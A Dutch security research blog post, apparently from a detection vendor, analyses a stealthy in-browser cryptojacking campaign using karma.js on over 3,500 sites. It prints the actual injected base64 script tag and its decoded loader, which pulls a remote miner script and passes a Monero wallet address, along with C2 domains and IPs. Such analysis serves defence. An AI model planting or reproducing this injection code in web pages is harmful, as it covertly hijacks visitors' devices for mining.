De opkomst en ondergang (en wederopkomst) van in-browser mining

Het was 2017 toen Coinhive zijn intrede deed en een Monero-miner rechtstreeks in websites inbedde. Gebruikers mijnden onbewust cryptocurrency tijdens het browsen, waardoor hun apparaten stille winstmachines werden voor website-eigenaren.
Even leek het een win-winsituatie: websites verdienden inkomsten zonder advertenties, en gebruikers hadden geen last van opdringerige pop-ups. Maar toen de hashrate van Coinhive opliep tot 12% van het totale netwerkvermogen van Monero, leidde de vertraging van apparaten en het leeglopen van batterijen tot publieke verontwaardiging.
In 2019 blokkeerden browsers zoals Chrome en Firefox browser-cryptojacking, en Coinhive sloot zijn deuren.
Cryptojacking leek dood te zijn.
Maar in cybersecurity is de dood zelden definitief…
Een mysterieuze neergang (en een storing in de matrix)
Bij cside volgden we cryptojacking-campagnes al jaren. Eind 2024 lieten onze dashboards een sterke daling in activiteit zien. Mining-payloads werden effectiever geblokkeerd, en aanvallers leken te zijn overgestapt op lucratievere terreinen zoals ransomware of het stelen van inloggegevens.
Toen, op een doordeweekse dinsdag, markeerde onze crawler iets vreemds: een JavaScript-bestand van derden, geladen vanaf https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.
De URL zelf was al een rode vlag — een willekeurige parameter, een zinloze nosaj=faster.mo-query. Maar wat de alarmbellen echt deed rinkelen, was het gedrag van het bestand:

- Geen netwerkverzoeken (op het eerste gezicht).
- Geen duidelijke CPU-pieken in sandbox-tests.
- Toch markeerde onze AI het als kwaadaardig.
Dit was niet het luide, resource-slurpende cryptojacking van 2018. Dit was… stil.
Injectie op de website:
<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>
Base64 decodeert naar:
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)){ return; }
js = d.createElement(s); js.id = id;
js.onload = function(){
EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
};
js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));
Trustisimportant[.]fun stuurt de gebruiker door naar yobox[.]store, vanwaar de kwaadaardige JS wordt gedownload.
De geest debuggen: een JS 101-tutorial
We laadden het script in een gecontroleerde omgeving om het te ontleden. Zo pakten we het aan:
Stap 1: Bouw een veilige debugging-sandbox
We wikkelten de JS in een eenvoudige HTML-pagina met een Content Security Policy (CSP) om debugging mogelijk te maken zonder browserblokkades te activeren:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
<title>Debugging Karma</title>
</head>
<body>
<script src="karma.js"></script> <!-- Het kwaadaardige bestand -->
</body>
</html>
De unsafe-eval-directive was cruciaal omdat het script eval-achtige obfuscatie gebruikte om zijn logica te verbergen.
Stap 2: Voeg debugging-traps in
We voegden debugger;-statements toe op sleutelpunten om de uitvoering te pauzeren in Chrome DevTools. Bijvoorbeeld:
function _0x6BE7() { // Een WebSocket-setupfunctie
debugger; // <-- Uitvoering pauzeert hier
if (ws != null) { ws.close(); }
// ... rest van de code
}
Stap 3: Decodeer de obfuscatie
Het script was een doolhof van hernoemde variabelen (bijv. _0x6AC1, _0x6B23) en gecodeerde strings. Via het tabblad Sources in DevTools hebben we:
- 1.Breekpunten ingesteld om stap voor stap door de uitvoering te lopen.
- 2.Variabelen gevolgd om hun werkelijke doel te achterhalen (bijv.
_0x6B85controleerde of het apparaat mobiel was). - 3.Netwerkactiviteit gevolgd via het tabblad Network, waarbij WebSocket-verbindingen naar wss://lokilokitwo[.]de:10006 aan het licht kwamen.
De belangrijkste ontdekking: een stille miner
Het script mijnde niet rechtstreeks cryptocurrency. In plaats daarvan:
- Controleerde het op WebAssembly-ondersteuning (om het vermogen van het apparaat in te schatten).
- Maakte het achtergrond-Web Workers aan (de
worcy-array) om mining-taken uit te voeren zonder de hoofdthread te blokkeren. - Gebruikte het WebSockets om opdrachten van de C2-server te ontvangen en de mining-intensiteit aan te passen op basis van de mogelijkheden van het apparaat.
Dit was een stealth-miner, ontworpen om detectie te vermijden door onder de radar te blijven van zowel gebruikers als beveiligingstools.
Het grotere plaatje: 3.500+ geïnfecteerde sites
Verder onderzoek bracht een omvangrijke campagne aan het licht:
- Meer dan 3.500 websites laadden de kwaadaardige karma[.]js.
- Hergebruikte infrastructuur: Het domein trustisimportant[.]fun was gekoppeld aan zowel cryptojacking- als Magecart-campagnes (skimmen van creditcardgegevens). Aanvallers diversifieerden hun payloads.
- Belangrijke IP-adressen: 89.58.14.251 en 104.21.80.1 fungeerden als command-and-control (C2)-servers.
Het motto van de campagne? "Blijf laag, mijn langzaam." Door het CPU-gebruik te beperken en verkeer te verbergen in WebSocket-streams, vermeed de campagne de typische kenmerken van traditioneel cryptojacking.
CryptoJacking-aanvallen 101: wat is cryptojacking en hoe werkt het vandaag de dag?
Modern cryptojacking is uitgegroeid tot een stille, meerfasige aanval:
- Dropper-scripts: Kwaadaardige JS-bestanden (zoals karma[.]js) worden in websites geïnjecteerd.
- Omgevingscontroles: Het script controleert op WebAssembly-ondersteuning, apparaattype (mobiel vs. desktop) en browserfuncties om het minen te optimaliseren.
- Worker-aanmaak: Web Workers worden aangemaakt om mining-taken op de achtergrond uit te voeren, waardoor prestatiewaarschuwingen worden vermeden.
- C2-communicatie: Via WebSockets of HTTPS-verzoeken worden mining-taken opgehaald en resultaten naar C2-servers gestuurd.
Het doel is niet om apparaten onmiddellijk leeg te trekken, maar om aanhoudend resources te onttrekken over een langere periode — als een digitale vampier.
Conclusie: het kat-en-muisspel gaat door
Cryptojacking is niet dood — het is gewoon slimmer geworden. Aanvallers geven nu de voorkeur aan stealth boven brute kracht bij het stelen van resources, en maken gebruik van obfuscatie, WebSockets en hergebruik van infrastructuur om verborgen te blijven.
Deze trend in client-side aanvallen neemt voortdurend toe.
De behoefte aan goede cryptojacking-preventie is er nu.









